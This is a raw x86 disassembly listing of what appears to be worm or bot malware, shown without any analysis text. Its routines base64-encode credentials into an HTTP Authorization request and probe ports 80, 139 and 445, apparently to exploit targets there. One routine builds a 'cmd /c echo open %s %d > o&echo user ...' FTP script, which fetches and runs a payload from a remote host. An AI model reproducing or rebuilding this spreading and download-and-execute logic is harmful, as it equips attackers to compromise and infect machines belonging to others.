		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 26705B3h
		nop


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
